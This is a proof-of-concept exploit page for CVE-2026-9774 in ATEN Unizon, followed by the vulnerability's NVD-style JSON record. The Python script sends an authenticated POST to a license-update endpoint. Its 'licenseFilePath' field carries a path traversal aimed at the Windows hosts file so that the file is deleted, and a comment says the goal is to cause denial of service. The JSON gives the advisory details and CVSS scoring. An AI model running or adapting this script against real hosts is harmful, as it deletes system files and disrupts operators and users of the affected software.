CVE-2026-9774

# CVE-2026-9774 - ATEN Unizon updateLicense Directory Traversal PoC # Vulnerability: Arbitrary File Deletion via Path Traversal in updateLicense method # Requires: High-privilege authentication (PR:H) # Original: ZDI-CAN-28502 / ZDI-26-378 import requests TARGET_URL = "https://target-aten-unizon-host" AUTH_TOKEN = "<authenticated_session_token>" # Requires high-privilege credentials # Malicious path using directory traversal to target arbitrary file # The updateLicense method fails to sanitize path parameters MALICIOUS_PATH = "../../../../../../windows/system32/drivers/etc/hosts" def exploit_delete_file(target_file_path): """ Exploit directory traversal in updateLicense method to delete arbitrary files on the target system. """ endpoint = f"{TARGET_URL}/api/license/update" headers = { "Authorization": f"Bearer {AUTH_TOKEN}", "Content-Type": "application/json" } # Inject traversal sequence into the license file path parameter payload = { "licenseFilePath": target_file_path, "licenseData": "AAAA", "action": "update" } response = requests.post(endpoint, json=payload, headers=headers) if response.status_code == 200: print(f"[+] Request successful - file operation attempted on: {target_file_path}") else: print(f"[-] Request failed with status: {response.status_code}") if __name__ == "__main__": # Target a critical system file to cause DoS exploit_delete_file(MALICIOUS_PATH)

{"cve": {"id": "CVE-2026-9774", "sourceIdentifier": "[email protected]", "published": "2026-06-24T22:16:50.030", "lastModified": "2026-06-25T14:23:56.107", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "ATEN Unizon updateLicense Directory Traversal Arbitrary File Deletion Vulnerability. This vulnerability allows remote attackers to delete arbitrary files on affected installations of ATEN Unizon. Authentication is required to exploit this vulnerability.\n\nThe specific flaw exists within the updateLicense method. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to delete files or create a denial-of-service condition on the system. Was ZDI-CAN-28502."}], "affected": [{"source": "[email protected]", "affectedData": [{"vendor": "ATEN", "product": "Unizon", "defaultStatus": "unknown", "versions": [{"version": "2.7.262.002", "status": "affected"}]}]}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 4.2}], "ssvcV203": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "ssvcData": {"timestamp": "2026-06-25T12:54:33.810688Z", "id": "CVE-2026-9774", "options": [{"exploitation": "none"}, {"automatable": "no"}, {"technicalImpact": "partial"}], "role": "CISA Coordinator", "version": "2.0.3"}}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://www.aten.com/global/en/supportcenter/info/security-advisory/27/", "source": "[email protected]"}, {"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-378/", "source": "[email protected]"}]}}